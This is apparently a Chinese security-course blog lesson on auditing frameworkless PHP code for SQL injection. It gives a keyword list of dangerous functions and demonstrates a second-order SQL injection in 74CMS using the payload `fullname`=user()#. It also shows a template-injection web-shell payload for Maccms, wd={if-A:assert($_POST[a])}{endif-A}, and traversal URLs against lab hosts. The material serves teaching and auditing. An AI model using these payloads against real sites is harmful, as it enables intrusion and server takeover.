五十.代码审计-PHP无框架项目SQL注入挖掘技巧

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

代码审计

  • 教学计划:审计项目漏洞 Demo-> 审计思路 -> 完整源码框架 -> 验证并利用漏洞
  • 教学内容:PHP,JAVA 网站应用,引入框架类开发源码,相关审计工具及插件使用
  • 必备知识点:环境安装搭建使用,相关工具插件安装使用,掌握前期各种漏洞原理及利用
  • 开始前准备:审计目标的程序名,版本,当前环境 (系统 , 中间件 , 脚本语言等信息 ), 各种插件等
  • 挖掘漏洞根本:可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞

代码审计思路

  • 1. 定点挖掘关键字:
    • 可控变量-变量接受 get post,接受关键字 $_GET
    • 特定函数-输出 print、数据库操作等
    • 特定关键字
      • sql 注入漏洞 –> 搜索 selectinsertupdatesql 执行语句
      • xss 漏洞 –> 搜索 echoprint 等
      • 安全漏洞 –> 搜索 $_GET$_POST 等
  • 2. 定点挖掘功能点:
    • 如挖掘文件上传,会员中心存在文件上传的操作地址,抓包分析找到源码中的特定文件代码段,进行文件上传代码分析挖掘。
  • 3. 拓展:视漏洞而定,举例
    • sqlql 注入 数据库监控-监控到当前页面和数据库的交互过程(SQL 执行语句)
    • 断点调试:访问页面对应代码进行断点调试(执行过程前后顺序,调用文件列表)
    • 可使用 Seay 源代码审计系统进行数据库监控、全局搜索关键字等(下载:https://github.com/f1tz/cnseay)
    • 动态调试 |Maccms SQL 注入分析 (附注入盲注脚本):https://www.cnblogs.com/ichunqiu/p/9548754.html
    • 双重编码绕过:源代码将 %5c 自动转为,%25%35%63 转为 %5c get 出 url 编码

二次注入

  • 原理:绕过转义注入 魔术引号
  • 满足条件: 有 insert update (必须是有插入到数据库中的操作) 、可控变量
五十.代码审计-PHP无框架项目SQL注入挖掘技巧

各个漏洞关键词

  • SQL 注入:
    • select insert update mysql_query mysqli 等
  • 文件上传:
    • $_FILES,type=”file”,上传,move_uploaded_file() 等
  • XSS 跨站:
    • print print_r echo sprintf die var_dump var_export 等
  • 文件包含:
    • include include_once require require_once 等
  • 代码执行:
    • eval assert preg_replace call_user_func call_user_func_array 等
  • 命令执行:
    • system exec shell_exec “ passthru pcntl_exec popen proc_open
  • 变量覆盖:
    • extract() parse_str() importrequestvariables() $$ 等
  • 反序列化:
    • serialize() unserialize() __construct __destruct 等
  • 其他漏洞:
    • unlink() file_get_contents() show_source() file() fopen() 等
  • 通用关键字:
    • $_GET,$_POST,$_REQUEST,$_FILES,$_SERVER 等
  • 功能点或关键字分析可能存在漏洞
  • 抓包或搜索关键字找到代码出处及对应文件
  • 追踪过滤或接受的数据函数,寻找触发此函数或代码的地方进行触发测试
    • http://192.168.0.102:91/?r=../../index.txt%00
    • http://192.168.0.102:94/admin/save.php?act=delfile
    • path=/upload/../install/install.lock

案例演示

  • 74CMS 人才招聘系统挖掘 -2 次注入应用功能 (自带转义)
  • 苹果 CMS 影视建站系统挖掘-数据库监控追踪 (自带过滤)

74CMS 人才招聘系统挖掘 -2 次注入应用功能 (自带转义)

  • 配置文件,有自定义的过滤函数:
五十.代码审计-PHP无框架项目SQL注入挖掘技巧
  • 所以这里有过滤,魔术引号,因此在这里,二次注入是最好的选择,但是二次注入有以下两个条件
    • 有 2 个(insert + update) (必须是有插入到数据库中的操作)
    • 可控 变量
  • 可使用 Seay 源代码审计系统或者数据库监控系统,进行数据库监控、全局搜索关键字等
    • 1. 我们先输入一些信息,然后查看数据库监控系统,看有没有什么关键词
五十.代码审计-PHP无框架项目SQL注入挖掘技巧
五十.代码审计-PHP无框架项目SQL注入挖掘技巧

更新,刚才提交的语句,进行的数据库操作

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

2. 根据填写简历界面 url,打开看文件,搜索 make2

  • http://127.0.0.1/74/user/personal/personal_resume.php?act=make2&pid=1
五十.代码审计-PHP无框架项目SQL注入挖掘技巧

此时数据库的语句,虽然满足二次注入的条件,先插入后更新,但是此时更新的语句不符合(和我们填写的数据无关)

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

3. 那就继续输入信息

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

更新以下数据库监控系统的数据

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

4. 填写的选项被数字代替了(我们无法改变),这一步也 G 了,继续

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

更新,发现此时我们填写的数据,在查询语句中。但是还是不符合二次注入条件,只更新,没有插入!

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

5. 那就继续输入信息

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

更新数据库

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

6. 发现有插入和更新,且我们填写的数据在语句中

五十.代码审计-PHP无框架项目SQL注入挖掘技巧
  • 2022/4/14 20:49 INSERT INTO qs_resume_education (`uid`, `pid`, `start`, `endtime`, `school`, `speciality`, `education`, `education_cn`) VALUES (‘1’, ‘1’, ‘2019xC4xEA10xD4xC2’, ‘2013xC4xEA2xD4xC2’, ‘liandy’, ‘liandy’, ’67’, ‘xD6мxBC’)
  • 2022/4/14 20:49 UPDATE qs_resume SET `photo`=’0′, `complete`=’1′, `complete_percent`=’60’, `key`=’liandy xC8xEDxBCxFExCFxEEĿxBExADxC0xED/xD6xF7xB9xDC liandy0 xC8xEDxBCxFE00 xCFxEEĿ00 xCFxEEĿxBExADxC0xED xBExADxC0xED00 xD6xF7xB9xDC00 xB8xDFxD6xD000 liandy’, `refreshtime`=’1649940585′ WHERE uid=’1′ AND id=’1′
五十.代码审计-PHP无框架项目SQL注入挖掘技巧
  • 更新数据库监控系统
  • INSERT INTO qs_resume_education (`uid`, `pid`, `start`, `endtime`, `school`, `speciality`, `education`, `education_cn`) VALUES (‘1’, ‘1’, ‘2020xC4xEA3xD4xC2’, ‘2012xC4xEA8xD4xC2’, ‘aa’,`fullname`=user()#’, ‘aa’,`fullname`=user(‘, ’70’, ‘xB1xBExBFxC6’)
  • UPDATE qs_resume SET `photo`=’0′, `complete`=’1′, `complete_percent`=’73’, `key`=’aa’,`fullname`=user()# aa’,’fullname=user()# liandy xC8xEDxBCxFExCFxEEĿxBExADxC0xED/xD6xF7xB9xDC liandy0 xC8xEDxBCxFE00 xCFxEEĿ00 xCFxEEĿxBExADxC0xED xBExADxC0xED00 xD6xF7xB9xDC00 xB8xDFxD6xD000 liandy aa’,’fullname=user( aa’,`fullname`=user(‘, `refreshtime`=’1649942748′ WHERE uid=’1′ AND id=’1’
  • 发现插入语句被更新,但是更新语句没有被转移
五十.代码审计-PHP无框架项目SQL注入挖掘技巧

苹果 CMS 影视建站系统挖掘-数据库监控追踪 (自带过滤)

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

然后我们查看数据库监控系统

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

2. 根据 url 查看代码文件

  • 参数 m 以 get 方式传参,strpos() 函数查找字符串在另一字符串中第一次出现的位置。
五十.代码审计-PHP无框架项目SQL注入挖掘技巧

3. 打开 inc/module/vod.php(根据:?m=vod-search)

五十.代码审计-PHP无框架项目SQL注入挖掘技巧
五十.代码审计-PHP无框架项目SQL注入挖掘技巧

4. 搜索 be 函数,发现 be 函数是先进行魔术引号过滤,再根据传参方式的不同选择过滤

五十.代码审计-PHP无框架项目SQL注入挖掘技巧

5. 并且在 360_safe3.php 发现有防护过滤

五十.代码审计-PHP无框架项目SQL注入挖掘技巧
  • 7. 因为一直有拦截,所以注入不进去
  • 8. 我们输入 wd={if-A:print(md5(23333))}{endif-A} or wd={if-A:phpinfo()}{endif-A},发现可以执行
五十.代码审计-PHP无框架项目SQL注入挖掘技巧
  • 9. 所以输入 wd={if-A:assert($_POST[a])}{endif-A} 菜刀链接,但被拦截,所以自己输入吧
© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容